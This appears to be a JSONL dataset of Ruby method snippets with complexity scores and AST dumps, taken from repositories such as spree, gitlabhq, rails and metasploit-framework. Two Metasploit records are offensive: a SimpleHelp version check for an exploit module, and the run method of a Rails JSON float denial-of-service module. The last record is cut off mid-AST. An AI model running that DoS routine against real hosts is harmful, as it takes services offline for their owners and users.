end","complexity_score":29.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"allversions\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Visual Version:\\\\s*(\\\\d+\\\\.\\\\d+(?:\\\\.\\\\d+))\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to retrieve SimpleHelp version.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.5.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.5.7\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.4.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.4.9\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.3.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.3.8\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}","id":"67af5d78-ab7f-42e8-8ccf-a99e3d4b6700"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock_item.rb","start_line":100,"raw_source":"def stock_changed?\n      # the variant_id changes from nil when a new stock location is added\n      (\n        saved_change_to_count_on_hand? &&\n        saved_change_to_count_on_hand.any?(&:zero?)\n      ) || saved_change_to_variant_id?\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stock_changed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_count_on_hand?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_count_on_hand\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"zero?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"saved_change_to_variant_id?\"]}]}]}","id":"23c35128-2475-46be-8bbf-bebd988acbc8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/development/replication.rb","start_line":130,"raw_source":"def teardown_remote_publication(region)\n          run_command(\"psql #{database_url(region)} -c 'DROP PUBLICATION miq;'\", raise_on_error: false)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown_remote_publication\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"region\"]}]},{\"type\":\"send\",\"children\":[null,\"run_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"psql \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_url\",{\"type\":\"lvar\",\"children\":[\"region\"]}]}]},{\"type\":\"str\",\"children\":[\" -c 'DROP PUBLICATION miq;'\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_error\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"631def9c-10a4-4ac6-851a-14b726f9464f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/repository/push.rb","start_line":39,"raw_source":"def directory=(dir)\n          raise \"Must set directory as a Pathname\" unless dir.is_a?(Pathname)\n\n          @directory = dir\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"directory=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Pathname\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Must set directory as a Pathname\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@directory\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}","id":"b1a89c76-2ba0-4ef6-a76a-b69d7696dc89"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":331,"raw_source":"def test_app_update_preserves_skip_test\n    run_generator [ destination_root, \"--skip-test\" ]\n\n    FileUtils.cd(destination_root) do\n      config = \"config/application.rb\"\n      assert_no_changes -> { File.readlines(config).grep(/require /) } do\n        run_app_update\n      end\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_app_update_preserves_skip_test\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-test\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cd\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"str\",\"children\":[\"config/application.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_changes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readlines\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"require \"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_app_update\"]}]}]}]}]}]}","id":"6a4897c1-3c34-488a-857e-6244d67f923c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":726,"raw_source":"def db_connection_info(framework)\n    unless framework.db.connection_established?\n      return \"#{framework.db.driver} selected, no connection\"\n    end\n\n    cdb = ''\n    if framework.db.driver == 'http'\n      cdb = framework.db.name\n    else\n      ::ApplicationRecord.connection_pool.with_connection do |conn|\n        if conn.respond_to?(:current_database)\n          cdb = conn.current_database\n        end\n      end\n    end\n\n    if cdb.empty?\n      output = \"Connected Database Name could not be extracted. DB Connection type: #{framework.db.driver}.\"\n    else\n      output = \"Connected to #{cdb}. Connection type: #{framework.db.driver}.\"\n    end\n\n    output\n  end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"db_connection_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"connection_established?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]}]},{\"type\":\"str\",\"children\":[\" selected, no connection\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cdb\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]},\"==\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cdb\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"current_database\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cdb\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"current_database\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cdb\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected Database Name could not be extracted. DB Connection type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cdb\"]}]},{\"type\":\"str\",\"children\":[\". Connection type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"49ee81c0-250d-47dc-82c6-eaec8632d277"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/role_users_controller.rb","start_line":23,"raw_source":"def scope\n        @parent.role_users.accessible_by(current_ability, :manage)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"role_users\"]},\"accessible_by\",{\"type\":\"send\",\"children\":[null,\"current_ability\"]},{\"type\":\"sym\",\"children\":[\"manage\"]}]}]}","id":"e28172ce-0562-4c32-a0f6-111aed5cdd77"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/styles.rb","start_line":523,"raw_source":"def correct_footer_style_highlight_first\n      footernum = 0\n      @fragment\n        .css(\".footer.highlight\")\n        .each do |element|\n          linknum = 0\n          element\n            .css(\"a\")\n            .each do |inner|\n              # we want the first footer link to be specially highlighted as IMPORTANT\n              if footernum == (0) && linknum == (0)\n                bg_color = SiteSetting.email_accent_bg_color\n                inner[\n                  \"style\"\n                ] = \"background-color: #{bg_color}; color: #{SiteSetting.email_accent_fg_color}; border-top: 4px solid #{bg_color}; border-right: 6px solid #{bg_color}; border-bottom: 4px solid #{bg_color}; border-left: 6px solid #{bg_color}; display: inline-block; font-weight: bold;\"\n              end\n              # rubocop:disable Lint/NonLocalExitFromIterator\n              return\n            end\n          return\n          # rubocop:enable Lint/NonLocalExitFromIterator\n        end\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_footer_style_highlight_first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"footernum\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fragment\"]},\"css\",{\"type\":\"str\",\"children\":[\".footer.highlight\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"linknum\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"css\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"footernum\"]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"linknum\"]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bg_color\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"email_accent_bg_color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"style\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"background-color: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bg_color\"]}]},{\"type\":\"str\",\"children\":[\"; color: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"email_accent_fg_color\"]}]},{\"type\":\"str\",\"children\":[\"; border-top: 4px solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bg_color\"]}]},{\"type\":\"str\",\"children\":[\"; border-right: 6px solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bg_color\"]}]},{\"type\":\"str\",\"children\":[\"; border-bottom: 4px solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bg_color\"]}]},{\"type\":\"str\",\"children\":[\"; border-left: 6px solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bg_color\"]}]},{\"type\":\"str\",\"children\":[\"; display: inline-block; font-weight: bold;\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"927cd2ed-9ede-4c91-aac5-4658e2c6789c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/webpack/file_loader.rb","start_line":49,"raw_source":"def self.load_from_static(path)\n        file_uri = ::Rails.root.join(\n          Gitlab.config.webpack.output_dir,\n          path\n        )\n\n        File.read(file_uri)\n      rescue StandardError => e\n        raise StaticLoadError.new(file_uri, e)\n      end","complexity_score":14.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_from_static\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rails\"]},\"root\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"webpack\"]},\"output_dir\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_uri\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaticLoadError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file_uri\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"f3cc4b22-cbd7-4a3d-9e5d-584ebdf91f78"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/locale.rb","start_line":21,"raw_source":"def set_locale\n          I18n.default_locale = default_locale unless Spree.always_use_translations?\n          I18n.locale = current_locale\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"always_use_translations?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale=\",{\"type\":\"send\",\"children\":[null,\"default_locale\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale=\",{\"type\":\"send\",\"children\":[null,\"current_locale\"]}]}]}]}","id":"7f40a416-ce5c-429b-887b-0e50921c00e2"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/taxonomies_controller.rb","start_line":26,"raw_source":"def accurate_title\n      @taxonomy.root.seo_title.presence || @taxonomy.root.name\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"accurate_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@taxonomy\"]},\"root\"]},\"seo_title\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@taxonomy\"]},\"root\"]},\"name\"]}]}]}","id":"2e83daf0-fb70-405f-8f9c-d0698cf087b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/activerecord-gitlab/lib/active_record/gitlab_patches/rescue_from.rb","start_line":39,"raw_source":"def _assign_attributes(...)\n        super(...)\n      rescue StandardError => e\n        rescue_with_handler(e) || raise\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"_assign_attributes\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_with_handler\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"7beafac0-3d54-4c37-bc85-083a0fa12822"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/role_filter.rb","start_line":77,"raw_source":"def operator_for_filtering\n    case operator\n    when \"*\" # Any Role\n      # Override the operator since we want to find by assigned_to\n      ::Queries::Operators::Equals\n    when \"!*\" # No role\n      # Override the operator since we want to find by assigned_to\n      ::Queries::Operators::NotEquals\n    else\n      operator_strategy\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"operator_for_filtering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"Equals\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!*\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"NotEquals\"]}]},{\"type\":\"send\",\"children\":[null,\"operator_strategy\"]}]}]}","id":"c839d06a-b6b8-49cb-aeeb-c324a79c6e7c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/path/pattern.rb","start_line":97,"raw_source":"def visit_LITERAL(node)\n            Regexp.escape(node.left)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_LITERAL\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]}]}","id":"0b963834-953c-4bc8-8ac6-b401d194eaff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/patches/commit_patches.rb","start_line":33,"raw_source":"def operation_service\n          repository.raw.gitaly_operation_client\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"operation_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"raw\"]},\"gitaly_operation_client\"]}]}","id":"c002eb06-0659-423b-bf36-af4e9dbda92e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/sli.rb","start_line":25,"raw_source":"def initialized?(name)\n          known_slis.key?(name) && known_slis[name].initialized?\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"known_slis\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"known_slis\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"initialized?\"]}]}]}","id":"c6a24231-2e05-4daf-b6a1-120509ef3012"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/rails_json_float_dos.rb","start_line":82,"raw_source":"def run\n    print_status \"Using digit pattern of #{digit_pattern} taken to #{multiplier} places\"\n    sploit = '['\n    sploit << evil_float_string\n    sploit << ']'\n    print_status \"Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}\"\n    target_available = true\n\n    begin\n      res = send_request_cgi(\n        {\n          'method' => verb,\n          'uri' => uri,\n          'ctype' => 'application/json',\n          'data' => sploit\n        }\n      )\n    rescue ::Rex::ConnectionRefused\n      print_error 'Unable to connect. (Connection refused)'\n      target_available = false\n    rescue ::Rex::HostUnreachable\n      print_error 'Unable to connect. (Host unreachable)'\n      target_available = false\n    rescue ::Rex::ConnectionTimeout\n      print_error 'Unable to connect. (Timeout)'\n      target_available = false\n    end\n\n    return unless target_available\n\n    print_status 'Checking availability'\n    begin\n      res = send_request_cgi({\n        'method' => verb,\n        'uri' => uri,\n        'ctype' => 'application/json',\n        'data' => Rex::Text.rand_text_alpha(1..64).to_json\n      })\n      if res && res.body && !res.body.empty?\n        target_available = true\n      else\n        print_good \"#{peer}#{uri} - DoS appears successful (No useful response from host)\"\n        target_available = false\n      end\n    rescue ::Rex::ConnectionError, Errno::ECONNRESET\n      print_good 'DoS appears successful (Host unreachable)'\n      target_available = false\n    end\n\n    return unless target_available\n\n    print_error 'Target is still responsive, DoS was unsuccessful.'\n  end","complexity_score":60.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using digit pattern of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"digit_pattern\"]}]},{\"type\":\"str\",\"children\":[\" taken to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multiplier\"]}]},{\"type\":\"str\",\"children\":[\" places\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"[\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"evil_float_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending DoS HTTP\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"str\",\"children\":[\"S\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verb\"]}]},{\"type\":\"str\",\"children\":[\" request to 